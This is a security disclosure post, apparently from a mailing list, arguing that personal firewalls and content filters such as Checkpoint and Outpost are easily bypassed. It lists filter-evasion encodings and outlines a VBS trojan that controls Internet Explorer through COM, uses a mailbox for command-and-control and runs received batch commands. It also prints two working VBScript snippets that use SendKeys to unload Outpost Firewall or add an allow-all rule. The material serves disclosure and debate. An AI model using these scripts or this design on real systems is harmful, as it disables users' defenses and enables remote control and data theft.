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From:3APA3A <3APA3A_(at)>
Subject:Presentation: Bypassing client application protection techniques with notepad

Topic: Bypassing client application protection techniques
Category: Protection bypass
Affected products:
CheckPoint  VPN-1(TM)  & FireWall-1(R) NG with Application Intelligence
(R55) HFA 9
Microsoft Windows XP SP2
Agnitum Outpost Pro 2.1, 2.5
Tiny Firewall Pro v6.0.100
ZoneAlarm Pro with Web Filtering v4.5.594
BlackICE PC Protection 3.6
Kerio Personal Firewall 4.0
WRQ ATGuard 3.2
offtopic, <[email protected]>
3APA3A, <[email protected]>
Original link:
Special   thanks  to  Igor  U.  Miturin  for  testing  and  coordinating
Checkpoint   issues,   to  Checkpoint  for  cooperation,  to Agnitum for
"opossum" topic public debates and some ideas.


This  article is neither attempt to teach scriptkiddies to write trojans
nor  attempt to create one by authors. It's a call to security community
to  activate  discussion  on  protection  techniques for Internet client
application  security. Yes, we want to fire a flame. We apologies we did
not  contacted  vendors  on  many  issues  they may consider as security
vulnerabilities  in  their  products.  We  believe,  to  solve discussed
problem  instead  of  fixing  illustrating  PoCs,  all  products must be
architecturally  changed,  not  patched. Before architectural change any
schoolboy  with  scripting  skills  can  get access to corporate network
protected  by  advertised product. We share a point of view, this should
not be treated as product vulnerability.
(yes, pedram).

1. Introduction

1.1 Front end security

Last  years  were  revolutionary  for  network  services infrastructure
security.  In  addition to more secure and stable operation systems and
services,  we've got a lot of industrial solutions - stateful firewalls
with  level  7 inspection, intrusion detection and intrusion prevention
systems,  reliable  clusters  and  distributed  solutions to fight DDoS
attacks...  And  we  got  actually  nothing  in  the  field  of  client
application  protection.  Security of client network applications, such
as  browsers, mail and instant messaging agents is on the same level it
was  5  years  ago, and things became worse, because these applications
are now critical for business, we can not simply stop using e-mail.

Client application security is very important, because same application
can   be  used to process untrusted, potentially dangerous data as well
as sensitive information.

We,  as  many  security professionals, have a feeling industry moves to
wrong  direction  in  the  area  of  client  application  security.  To
demonstrate  this  point  of view, this article was written. We discuss
some  methods  of  breaking  into  managed, protected corporate network
without  any  special skills. "Exploits" illustrating this article were
written with notepad.exe.

1.2  What  do  you  use to protect your client systems against Internet

There  are very few widely deployed techniques. Among them are: content
filtering  on  corporate  firewall  (including antiviral filtering) and
personal  antiviruses  and  personal  firewalls  (PFW).  In addition to
content  filtering  personal  firewalls implement integrity control for
applications and system by controlling integrity of the files, blocking
access  to  some  API  functions  and  limiting  network access to only
trusted applications.

Of  cause, there are few really interesting approaches to secure client
applications,  some  of  them  are  discussed  later, but usually these
techniques are not generally used.

1.3 What will we demonstrate.

We  will  not  teach you how to attack any specific client application.
Latest   Mozilla   experience   demonstrate,  security  bug  in  client
application  can always be found for approximately $500 (should we talk
about Internet Explorer? Mozilla goes with discounted price because not
demanded  on  zombi  market).  We will try to illustrate, that $500 is,
probably,  all  that required to get access to your network. It doesn't
depend on protection techniques listed above, because protection can be
bypassed by any schoolboy. If this protection is all you have, you have
no  protection  at all. In fact, iDefense makes more for community than
any PWF vendor (it's not a joke): it pays for newly discovered security
issue  more  than shadow market does. At least you have additional $500
to your security this way.
Problem  of paid vulnerability research is not black-and-white like one
can   believe.  Without  commercial  software  or  commercial  services
freeware  would  not survive, because good programmer needs money. Same
tendencies  are in vulnerability research. C'est la vie. We can discuss
Full-disclosure? Who believe in it...

So, we proudly present you how to:

Bypass  content  filtering  for  corporate  and personal firewall (yes,
again, and again and again).
Bypass network access protection for personal firewall
Bypass integrity protection for personal firewall or antivirus.

Above  is a list of tested products. It's incomplete. Some vendors were
contacted and replied. Some fixes were published, but none of contacted
vendors  was  able to fix all problems discussed. We do not belive it's
possible  in nearest future to prevent corporate network protected only
with firewalls, personal firewalls and antiviruses from being hacked by
the schoolboy.

2. Bypassing content filtering again and again and again
Axiom: there is always one more way to bypass content filter.

Explanation:   because   content  filter  and  client  application  use
different   algorithms  for  data  processing,  there  is  always  data
processed differently by client application and content filter.

2.1 Configuration used

In our configuration we used content filtering features of 2 firewalls:
Checkpoint  as corporate firewall and Agnitum Outpost Pro as a personal
firewall.  Both  firewalls  were  set  to  filter scripting and ActiveX
elements.  By  using  few techniques described in [1] we wrote a set of
tests  to  attack Internet Explorer protected by these 2 firewalls (and
additionally  with  2  different  antiviruses) on 2 different levels to
execute javascript.

2.2 Test descriptions:

 Problem with special characters (0x0B) demonstrated. [1].II.9

 Problem with RFC2781 decoding (UTF-16, little endian). [1].II.1

 Problem with RFC2781 decoding (UTF-16,  big endian). [1].II.1

 Different approach of different clients to content type definition [1].II.13
 Same as 2.2.4 + exploitation  of stream buffering.

 Problem with special characters (0x00) demonstrated. [1].II.9

 Inability to parse UTF-7 encoding (with Content-Type) [1].II.2

 Inability to parse UTF-7 encoding (with Meta http-equiv) [1].II.2

 Inability  to  catch  scripting  via  expression().  Was  described by
 http-equiv  (

 Inability to catch scripting in styles [1].II.15
 Inability to parse MHT files (RFC 2557)

 Content  filtering bypass techniques used are known for years. Outpost
 failed all tests. Checkpoint failed 2.2.2, 2.2.3, 2.2.6, 2.2.8, 2.2.9,
 2.2.10, 2.2.11.

2.3 Vendors:

 Both  Checkpoint  and Agnitum were contacted. Checkpoint covers issues
 discussed   in   R55HFA10.  2.2.10  and  2.2.11  additionally  require
 disabling  CSS  and MHT with special settings (I do not believe it can
 be accepted as solution). Agnitum fixes very few issues in Outpost 2.5
 version.  Please, check your own content filter before blaming Agnitum
 or Checkpoint.

3. Bypassing network access restrictions with trusted application
Axiom: Malware is undistinguishable from user application

 Next  step  after  successful  client  application  attack  is usually
 getting remote control on attacked computer.

 Personal  firewall  usually restricts access to network to the list of
 allowed  application.  In addition, integrity of these applications is
 controlled to prevent code insertion into executable file. It makes it
 impossible to install trojan application with direct network access.

 Common  idea  behind  bypassing  this  protection  is  using  trusted
 application (for example browser) to access external network. Usually,
 execution  flow  of  target  application with DLL injection technique,
 WriteProcessMemory(), CreateRemoteThread() or something like this. You
 can find description in [1] and [2]. These methods require programming
 skills,  additionally,  personal firewall could set a hooks to protect
 against  this kind of attack. Additionally, trojan application in this
 case   should   implement   almost  all  network  functions, including
 network topology discovery and proxy communication.

 Additionally,  access  of  client application can be limited only to a
 list of trusted sites.

 Our  approach  is  very  simple.  We  call  it CAT (Client Application
 Trojaning).  We use trusted application itself without attempt to hack
 into it's code..
 is  simple  PoC application. CAT uses COM to launch and control client
 application  (Internet  Explorer). This allows practically full access
 to  the IE recourses, so we can ask IE to navigate to our site, and IE
 will  use  its  proxy's  and  other settings. We don't need to include
 http-client code in our application - IE does all work for us.

 Another  interesting  thing  -  it's  a work via trusted sites. In our
 example  Trojan  uses server to communicate with bad guy,
 but  it  easy  to  use  other  trusted  network  services, for example
 Google's proxy
 Additionally  almost  any search system can be used as proxy with only
 limitation that each iteration may require few days.
 This CAT PoC works as next:

 - It creates IE COM object, navigates to site.
 - CAT passes username and password to the site, and gets access to mailbox
 - CAT sends notification message "ready" to specified mailbox
 - Every 20 seconds CAT checks mailbox for messages with XXX.request
   subject (XXX - integer number).
 -  If  message  appears in mailbox, CAT reads it, deletes message, and
   process it's data as a batch file.
 - Execution results are send to predefined account.

 remove IE.Visible = true
 line to run application in hidden mode.

 All  this great functionality lies in 100 lines of VBS. You see, Basic
 can    be   more   effective   than   assembler.
 ILOVEYOU  and  another scripting viruses demonstrated application like
 this  can  be  written by 14 y.o. schoolboys. VBS can be executed from
 Microsoft  Office  applications,  Windows Explorer, Internet Explorer,

 All  personal  firewalls  tested,  except Outpost 2.5 failed to detect
 information   leak  with  this  script.  Outpost  2.5  requires  minor
 modification  for  original script to start one additional IE instance
 before launching IE via COM, script modification is set as homework.

4. Bypassing personal firewall integrity protection
Axiom: Malware is undistinguishable from user

 This script unloads Outpost firewall (any version)

      set WShell = CreateObject("WScript.Shell")

      WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
      WScript.Sleep 200
      WShell.AppActivate "Agnitum", TRUE
      WScript.Sleep 100
      WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"
      WScript.Sleep 100
      WShell.SendKeys "{ENTER}"

 Another  one  creates  a  rule  to  permit  Internet  access  for  all

      set WShell = CreateObject("WScript.Shell")

      WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
      WScript.Sleep 100
      WShell.AppActivate "Agnitum", TRUE
      WScript.Sleep 10
      WShell.SendKeys "{F10}{LEFT}{LEFT}{LEFT}"
      WScript.Sleep 10
      WShell.SendKeys "{DOWN}{DOWN}{DOWN}{DOWN}{ENTER}"
      WScript.Sleep 10
      WShell.SendKeys "a{ENTER}"
      WScript.Sleep 10
      WShell.SendKeys "{F10}{LEFT}{DOWN}"
      WScript.Sleep 10
      WShell.SendKeys "n"


5. Final noise.
Axiom: There is no cure against unknown Malware. There are no Axioms in
client application protection.

The  only  way  to  somehow  secure  client application is implementing
sandbox  for  any  application  to  work with untrusted data. There are
attempts to implement such sandbox without limiting it's functionality,
for  example GeSWall [4](by the way this project is looking for sponsor
on investor). There are few commercial solutions of this kind, I do not
believe  any  of  this solution provides reliable security for Internet
client  application.  Virtual machines for most architectures also have
known flaws. Most reliable way to protect client application for now is
creation  of  additional  DMZ  for  application  servers  and providing
terminal  access  to  untrusted  applications inside DMZ. Configuration
example  can  be  found  in  [5].  Of  cause, this approach is not 100%
reliable too.

That's all.


6. Links:

[1] 3APA3A, Bypassing content filtering software
[2] Firewall leak tester
[3] rattle, Using Process Infection to Bypass Windows Software Firewalls
[4] GeSWall (General Systems Wall)
[5] offtopic, 3APA3A, "In front of front-end security"

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